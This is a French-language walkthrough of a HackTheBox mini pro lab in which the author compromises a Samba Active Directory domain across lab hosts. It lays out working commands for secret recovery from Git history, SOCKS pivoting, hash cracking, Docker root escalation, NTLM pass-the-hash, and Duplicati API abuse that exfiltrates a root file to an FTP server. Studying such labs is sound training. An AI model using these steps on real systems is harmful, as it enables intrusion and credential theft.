Writeup ProLab

Unintended

Mini ProLab orienté Active Directory vu depuis un angle Linux. Migration AD bâclée, secrets qui traînent dans un historique Git, credentials réutilisés entre Gitea, Mattermost et le domaine, privesc Docker triviale, un forensic amusant d'un backup Samba AD hors-ligne jusqu'au Domain Admin, et abus d'une instance Duplicati toujours en vie pour lire un fichier root sans jamais shell root.

Platform: HackTheBox Mini ProLabs
Tier: Red Team Operator I
Domaine: unintended.vl
Hôtes: DC / BACKUP / WEB
Flags: Touchdown / Web / Backup Admin / Unintended Master
Date: 2026-07-18

1. Reconnaissance réseau et énumération AD non authentifiée

Trois hôtes Linux dans le scope : un DC (Samba Active Directory), un serveur de backup, et un serveur web. Le scan complet sur les trois confirme un Samba AD DC classique côté DC (Kerberos, LDAP, SMB), un service FTP pyftpdlib côté BACKUP, et un simple Flask "Under Construction" côté WEB.

Scan complet des 3 hôtes

nmap 10.13.38.57-59 -Pn -p- -sT -T4 --min-rate 1000

Résultat

DC      10.13.38.57  22,53,88,135,139,389,445,464,636,3268,3269,49152-49154  (Samba 4 AD DC)
BACKUP  10.13.38.58  21 (pyftpdlib 1.5.7), 22
WEB     10.13.38.59  22, 80 (Werkzeug/Flask "Under Construction")

Une session SMB nulle sur le DC suffit à lister les comptes du domaine sans le moindre credential.

Null session SMB

nxc smb 10.13.38.57 -u '' -p '' --users
rpcclient -U '' -N 10.13.38.57 -c enumdomusers

Résultat

Administrator, Guest, krbtgt, juan, abbie, cartor

2. Vhosts + secrets dans l'historique Gitea

Un fuzzing de vhosts sur WEB révèle deux applications internes : un Mattermost et un Gitea. Le dépôt public juan/DevOpsest accessible sans authentification, et son historique de commits contient des secrets qui ont été "retirés" dans un commit ultérieur, mais restent parfaitement lisibles via l'API patch de Gitea (les blobs Git ne disparaissent jamais vraiment).

Découverte de vhosts

gobuster vhost -u http://10.13.38.59 --domain unintended.vl \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  --append-domain -t 50

→ chat.unintended.vl  (Mattermost)
→ code.unintended.vl  (Gitea v1.21.3)

Lecture d'un commit soi-disant supprimé via l'API patch

curl -H "Host: code.unintended.vl" \
  http://10.13.38.59/juan/DevOps/commit/a9e6fedd32d307572ea9a567158716963c5608ea.patch

Résultat

ENV APP_SECRET 6SU28SH286DY8HS7D
ENV SFTP_USER ftp_user
ENV SFTP_PASS Th3_F1P_Account$$

Ces identifiants ouvrent un accès SFTP-only sur WEB, parfait pour monter un tunnel SOCKS et pivoter vers les services internes qui ne sont pas exposés à l'extérieur.

Tunnel SOCKS via SFTP

sshpass -p 'Th3_F1P_Account$$' ssh -D 1080 -N ftp_user@10.13.38.59

3. MySQL root:root, hash Gitea et flag Touchdown

Derrière le tunnel, MySQL répond en root:root. proxychainsplante systématiquement sur les connexions non bloquantes de MySQL dans cet environnement ; un relaisncat fait le travail sans broncher.

Relais TCP local vers MySQL

ncat -l 13306 --keep-open -c "ncat --proxy 127.0.0.1:1080 --proxy-type socks5 127.0.0.1 3306"
mysql -h 127.0.0.1 -P 13306 -u root -proot gitea \
  -e "select id,name,email,passwd,passwd_hash_algo,salt,is_admin from user;"

Hash PBKDF2-SHA256 de administrator (50000 itérations). Conversion au format hashcat 10900 (sha256:iterations:salt_b64:hash_b64) puis cassage sur rockyou.

Cassage du hash

hashcat -m 10900 -a 0 admin_gitea.hash rockyou.txt

→ administrator : loveandhate

Connecté en admin Gitea, le panel /admin/repos révèle un dépôt privé supplémentaire : juan/home-backup. Son .bash_historycontient la commande qui a généré sa clé SSH, avec la passphrase en clair.

Résultat

ssh-keygen -t rsa -b 4096 -C "juan@unintended.local" -N "theJUANman2019" -f ~/.ssh/id_rsa

Cette passphrase est réutilisée telle quelle comme mot de passe du compte de domaine juan, validé via SMB puis directement en SSH sur WEB (joint au domaine via SSSD, contrairement au DC qui refuse le login interactif pour les comptes AD).

Validation domaine et accès SSH

smbclient -L //10.13.38.57/ -U 'juan%theJUANman2019'          # succès

sshpass -p 'theJUANman2019' ssh -l 'juan@unintended.vl' 10.13.38.59

Résultat

uid=320201103(juan@unintended.vl) gid=320200513(domain users@unintended.vl)
groups=...,320201106(web developers@unintended.vl)
web.unintended.vl

Flag : Touchdown

••••••••••••••••••••••••••••••••Cliquer pour afficher

4. Pivot PostgreSQL/Mattermost et mot de passe d'Abbie

Même tunnel SOCKS, nouveau relais vers le réseau Docker interne où vit la base Postgres de Mattermost.

Relais vers Postgres (réseau docker interne)

ncat -l 15432 --keep-open -c "ncat --proxy 127.0.0.1:1080 --proxy-type socks5 172.18.0.3 5432"
psql -h 127.0.0.1 -p 15432 -U mmuser -d mattermost -c "select username,email,password from users;"
psql -h 127.0.0.1 -p 15432 -U mmuser -d mattermost -c "select message from posts order by createat desc limit 200;"

Trois comptes : cadams (cartor, admin), theabbs (Abbie Spencer), juank (juan). L'historique des messages contient deux indices en or : un mot de passe temporaire donné en clair par cadams suite à une réinitialisation, et une blague sur un pattern de mot de passe faible en nom+année de naissance.

Résultat

cadams: Here, `Hiu8sy8SA8h2`, change it to one you can actually remember...
theabbs: Thank you soo much... (kidding)
[...] name + birthyear is a good password then? :joy:

Le pattern se vérifie en cassant le hash bcrypt d'Abbie - mais ce mot de passe Mattermost n'est pas son mot de passe de domaine : celui-ci reste le mot de passe temporaire, jamais changé malgré la promesse.

Cassage bcrypt (confirme le pattern, piste alternative)

hashcat -m 3200 -a 0 abbie_bcrypt.hash abbie_wordlist.txt

→ theabbs (Mattermost) : Abbie1998

Le vrai mot de passe de domaine

nxc smb 10.13.38.57 -u abbie -p 'Hiu8sy8SA8h2'

→ [+] unintended.vl\abbie:Hiu8sy8SA8h2

5. Lateral movement vers BACKUP et privesc Docker

SSH avec le compte de domaine d'Abbie

sshpass -p 'Hiu8sy8SA8h2' ssh -l 'abbie@unintended.vl' 10.13.38.58

Résultat

uid=320201104(abbie@unintended.vl) gid=320200513(domain users@unintended.vl)
groups=320200513(domain users@unintended.vl),119(docker)

Membre du groupe local docker = root équivalent. Un montage du filesystem hôte dans un conteneur suivi d'un chroot donne un shell root complet en une commande.

Privesc via montage + chroot

docker run --rm -v /:/mnt python:3.11.2-slim chroot /mnt bash

Résultat

uid=0(root) gid=0(root) groups=0(root)

6. Forensic du backup Samba AD et Pass-the-Hash

Root sur BACKUP donne accès à un conteneur FTP contenant une sauvegarde complète de la base Active Directory Samba, prise en tarball des mois plus tôt.

Localisation et exfiltration du backup

docker ps -a
# scripts_ftp_1  python:3.11.2-slim  "sh ./setup.sh"

docker exec scripts_ftp_1 find /ftp -iname '*.tar.bz2'
# /ftp/volumes/domain_backup/samba-backup-2024-02-17T20-32-13.580437.tar.bz2

docker cp scripts_ftp_1:/ftp/volumes/domain_backup/samba-backup-*.tar.bz2 /tmp/samba-backup.tar.bz2

Après exfiltration (scp) et extraction du tarball, ldbsearchinstallé en local suffit à interroger directement la base sam.ldbsans avoir besoin du conteneur officiel diegogslomp/samba-ad-dc.

Extraction du hash Administrator

ldbsearch -H ./backup/private/sam.ldb -b 'dc=unintended,dc=vl' \
  '(&(objectClass=user)(sAMAccountname=administrator))' unicodePwd

→ unicodePwd:: Nv4kHqDqpTPV+si9f7b4ow==

Conversion en hash NTLM

echo 'Nv4kHqDqpTPV+si9f7b4ow==' | base64 -d | xxd -p
→ 36fe241ea0eaa533d5fac8bd7fb6f8a3

Un backup vieux de plusieurs mois, mais le mot de passe Administrator n'a jamais tourné entre temps : le hash extrait est encore valide en Pass-the-Hash sur le DC actuel.

Pass-the-Hash sur le DC

nxc smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3
# [+] unintended.vl\Administrator:36fe241ea0eaa533d5fac8bd7fb6f8a3

smbclient -U Administrator --password=36fe241ea0eaa533d5fac8bd7fb6f8a3 --pw-nt-hash //10.13.38.57/home -c "get root.txt"

Flag : Backup Admin

••••••••••••••••••••••••••••••••Cliquer pour afficher

Flag : Unintended Master

••••••••••••••••••••••••••••••••Cliquer pour afficher

7. Flag Web : abus d'une instance Duplicati live

Le conteneur FTP de BACKUP contient aussi les blocs d'une sauvegarde Duplicati (non chiffrée,--no-encryption) de la configuration de Duplicati lui-même - une sauvegarde qui se sauvegarde elle-même. En parsant à la main lefilelist.json du .dlist.zip(sans duplicati-cli, juste unzip), je retrouve et restitue Duplicati-server.sqlite à partir du bon .dblock.zip (nom d'entrée = hash SHA256 du bloc, en base64 url-safe).

Résultat

server-passphrase       = ZhB5vA+1uCde2Gozh9/CXKfPt8MoNcUklyfk1vBuuQk=
server-passphrase-salt  = j+7JQsuO7aggNAESQRkCBJd8dwdUE6A9QLTKXM3LB7w=
last-webserver-port     = 8200

Port 8200 fermé de l'extérieur, mais joignable en loopback sur WEB via le tunnel SOCKS déjà en place : une vraie instance Duplicati tourne toujours, avec le même salt que celui extrait du backup.

Découverte du service live + nonce

curl -x socks5h://127.0.0.1:1080 http://127.0.0.1:8200/login.cgi -X POST -d "get-nonce=1"

Le protocole d'auth legacy de Duplicati 2.0.x ne demande jamais le mot de passe en clair : il suffit de connaître server-passphrase (déjà en main) pour calculer la réponse au challenge.

Login par challenge-response, sans mot de passe en clair

noncedpwd = base64( SHA256( base64decode(Nonce) || base64decode(server-passphrase) ) )
POST /login.cgi  password=<noncedpwd>  →  {"Status":"OK"}

Authentifié sur l'instance live, j'abuse l'API REST pour créer un nouveau job de sauvegarde ciblant directement /root/flag.txt de WEB, avec pour destination un serveur FTP que je contrôle et peux atteindre directement (credentialsftp_admin trouvés dans la config d'un job existant). Aucun shell root nécessaire : Duplicati lit le fichier à ma place.

Nouveau job de sauvegarde ciblé + exécution

POST /api/v1/backups   {"Sources": ["/source/root/flag.txt"], "TargetURL": "ftp://10.13.38.58:21//exfil?auth-username=ftp_admin&auth-password=..."}
POST /api/v1/backup/{id}/run

Récupération et extraction du bloc déposé sur le FTP contrôlé

curl "ftp://10.13.38.58:21/exfil/duplicati-*.dblock.zip" --user ftp_admin:*** -o dblock.zip
unzip -p dblock.zip <block-hash>

Flag : Web

••••••••••••••••••••••••••••••••Cliquer pour afficher

Récap

  • Recon : session SMB nulle sur le DC → liste des comptes du domaine sans credentials
  • Gitea : dépôt public juan/DevOps → secrets dans un commit "supprimé", toujours lisibles via l'API patch → creds SFTP
  • Pivot SOCKS : tunnel SSH via le compte SFTP → MySQL root:root → hash Gitea admin cassé (loveandhate)
  • Flag Touchdown : dépôt privé juan/home-backup → .bash_history → passphrase SSH = mot de passe domaine de juan
  • Abbie : Postgres Mattermost (même pivot) → messages → mot de passe temporaire jamais changé (piste bcrypt name+birthyear = fausse piste)
  • Flag Backup Admin : SSH abbie → BACKUP → groupe docker → root via montage + chroot
  • Flag Unintended Master : backup Samba AD exfiltré → ldbsearch → hash NTLM Administrator → Pass-the-Hash → Domain Admin
  • Flag Web : backup Duplicati de sa propre config → passphrase → login sur l'instance live → nouveau job ciblé sur /root/flag.txt → exfiltration via FTP contrôlé